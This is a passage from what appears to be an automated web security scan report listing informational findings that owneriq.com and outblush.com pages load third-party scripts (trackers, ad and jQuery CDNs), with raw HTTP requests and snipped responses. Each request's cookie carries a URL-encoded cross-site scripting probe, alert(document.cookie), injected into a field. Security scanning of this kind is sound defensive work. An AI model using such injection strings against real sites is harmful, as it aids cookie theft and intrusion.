Content-Type: text/html; charset=utf-8
Content-Length: 43443

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.outblush.com
Path:	/\|http:/www.dooce.com/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The response dynamically includes the following script from another domain:

http://outblushcom.skimlinks.com/api/skimlinks.js

Request

Response

21.334. http://www.owneriq.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.jquerytools.org/1.2.5/full/jquery.tools.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET / HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:41 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20093

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>

<title>Ownership Targeting | Owner
...[SNIP]...

<script src="http://cdn.jquerytools.org/1.2.5/full/jquery.tools.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.335. http://www.owneriq.com/about-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/about-us

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /about-us HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:45 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 10127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>About Us | OwnerIQ</title>
<me
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.336. http://www.owneriq.com/careers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/careers

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /careers HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:51 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Careers | OwnerIQ</title>

...[SNIP]...
<link href="/menu.css" type="text/css" rel="stylesheet" media="all" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"> </script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.337. http://www.owneriq.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/contact-us

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /contact-us HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:07 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 10005

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>OwnerIQ | Ownership Targeti
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.338. http://www.owneriq.com/events previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/events

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /events HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:00 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16518

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Press | OwnerIQ</title>
<m
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.339. http://www.owneriq.com/investors previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/investors

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /investors HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:49 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Content-Length: 7861
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Investors | OwnerIQ</title>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.340. http://www.owneriq.com/management previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/management

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /management HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:46 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Online Advertising Experts | O
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.341. http://www.owneriq.com/manuals-online previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/manuals-online

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /manuals-online HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:42 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30124

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>ManualsOnline | OwnerIQ</ti
...[SNIP]...


<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.342. http://www.owneriq.com/mostiq previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/mostiq

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /mostiq HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:43 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27719

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>MostIQ | OwnerIQ</title>
<meta
...[SNIP]...


<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.343. http://www.owneriq.com/opt-out previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/opt-out

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.6.0.3/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js?load=builder,effects,controls

Request

GET /opt-out HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:08 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 9281

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>OwnerIQ | Opt Out of Target
...[SNIP]...
<link href="/menu.css" type="text/css" rel="stylesheet" media="all" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.6.0.3/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js?load=builder,effects,controls"></script>
...[SNIP]...

21.344. http://www.owneriq.com/ownership-targeting previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/ownership-targeting

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

Response

21.345. http://www.owneriq.com/partners previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/partners

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /partners HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:03 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>ManualsOnline | OwnerIQ</title
...[SNIP]...


<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.346. http://www.owneriq.com/press previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/press

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /press HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:57 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24906

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Press | OwnerIQ</title>
<meta
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.347. http://www.owneriq.com/press-coverage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/press-coverage

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /press-coverage HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:00 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20964

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Press Coverage | OwnerIQ</titl
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.348. http://www.owneriq.com/product-ownership-party previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/product-ownership-party

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.jquerytools.org/1.2.4/full/jquery.tools.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /product-ownership-party HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:02 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 10152

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>OwnerIQ | Product Ownership P
...[SNIP]...
</title>
<script src="http://cdn.jquerytools.org/1.2.4/full/jquery.tools.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.349. http://www.owneriq.com/retailers-and-manufacturers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/retailers-and-manufacturers

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
